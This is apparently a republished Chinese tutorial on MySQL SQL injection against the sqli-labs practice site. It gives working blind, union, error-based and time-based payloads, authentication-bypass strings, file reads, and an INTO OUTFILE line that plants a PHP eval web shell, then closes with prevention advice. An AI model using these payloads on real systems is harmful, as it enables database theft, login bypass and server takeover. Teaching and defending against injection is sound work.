目录
SQL注入的分类
判断是否存在SQL注入
一:Boolean盲注
二:union 注入
三:文件读写
四:报错注入
floor报错注入
ExtractValue报错注入
UpdateXml报错注入
五:时间盲注
六:REGEXP正则匹配
七:宽字节注入
八:堆叠注入
九:二次注入
十:User-Agent注入
十一:Cookie注入
十二:过滤绕过
十三:传说中的万能密码
SQL注入的预防
(1)预编译(PreparedStatement)(JSP)
(2)PDO(PHP)
(3)使用正则表达式过滤
(4) 其他

-
information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名 -
information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名 -
information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
// 通过这条语句可以得到所有的数据库名
select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到所有的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security'limit 0,1
// 通过这条语句可以得到所有的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
//通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
-
version():查询数据库的版本 -
user():查询数据库的使用者 -
database():数据库 -
system_user():系统用户名 -
session_user():连接数据库的用户名 -
current_user:当前用户名 -
load_file():读取本地文件 -
@@datadir:读取数据库路径 -
@@basedir:mysql安装路径 -
@@version_complie_os:查看操作系统
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回给定字符串的长度,如 length("string")=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 1,1:查询第2个数 limit n,1:查询第n+1个数
-
数字类型的注入 -
字符串类型的注入 -
搜索型注入
-
GET注入 -
POST注入 -
COOKIE注入 -
HTTP头注入(XFF注入、UA注入、REFERER注入)
-
基于布尔的盲注 -
基于时间的盲注 -
基于报错的注入 -
联合查询注入 -
堆查询注入 (可同时执行多条语句)


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查询语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){ //如果查询到数据
echo 'You are in...........';
}else{ //如果没查询到数据
print_r(mysql_error());
}
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
-
table_schema: 记录数据库名; -
table_name: 记录数据表名; -
table_rows: 关于表的粗略行估计; -
data_length : 记录表的大小(单位字节);
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
...........
由此可以判断出当前数据库为 security
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
由此可判断出users表中存在 id、username、password 字段
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
...........

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #

-
version() :数据库的版本 -
database() :当前所在的数据库 -
@@basedir : 数据库的安装目录 -
@@datadir :数据库文件的存放目录 -
user() :数据库的用户 -
current_user() : 当前用户名 -
system_user() : 系统用户名 -
session_user() :连接到数据库的用户名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),user() #

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),@@basedir #

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,@@datadir,current_user() #

// 获得所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables#
// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns#
#获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users%23

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users #
//union注入读取 e:/3.txt 文件
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt")#
//也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874)#

//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'e:/4.php' #
// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'e:/4.php' #
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息
floor报错注入
// 我们可以将 user() 改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分
http://127.0.0.1/sqli/Less-1/?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
//将其分解
(select 1 from (Y)a)
Y= select count(*) from information_schema.tables group by concat(Z)
Z= user(),floor(rand(0)*2) //将这里的 user() 替换成我们需要查询的函数

ExtractValue报错注入
EXTRACTVALUE (XML_document, XPath_string)
-
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
-
第二个参数:XPath_string (Xpath 格式的字符串).
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e))#
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#

UpdateXml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
-
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1 -
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。 -
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)#
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#


//判断是否存在延时注入
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#
// 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
http://127.0.0.1/sqli/Less-1/?id=1'andif(ascii(substring(database(),1,1))<100,1,sleep(5)) #
查找name字段中含有a或者b的所有数据: select name from admin where name regexp ' a|b ';
查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符):select name from admin where name regexp ' .ab ';
查找name字段中含有at或bt或ct的所有数据: select name from admin where name regexp ' [abc]t ';
查找name字段中以a-z开头的所有数据:select name from admin where name regexp ' ^[a-z] ';
// 判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #
-
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。参见 get_magic_quotes_gpc()。 -
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。 -
magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。如何取得其值参见 ini_get()


-
在转义之后,想办法让\前面再加一个\,或者偶数个\即可,这样就变成了\\' ,\ 被转义了,而 ‘ 逃出了限制。 -
在转义之后,想办法把 \ 弄没有,只留下一个 ' 。




mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);

-
黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。 -
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。 -
黑客向服务端发送第二个与第一次不相同的请求数据信息。 -
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。 -
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功


$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";
'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数

sql="select*from test where username=' XX ' and password=' XX ' ";
admin' or '1'='1 XX //万能密码(已知用户名)
XX 'or'1'='1 //万能密码(不需要知道用户名)
'or '1'='1'# XX //万能密码(不知道用户名)
String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

-
Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库 -
设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。 -
严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查 -
使用 Web 应用防火墙 -

本文分享自微信公众号 - 架构师智库(beijing-tmt)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/4585832/blog/4525207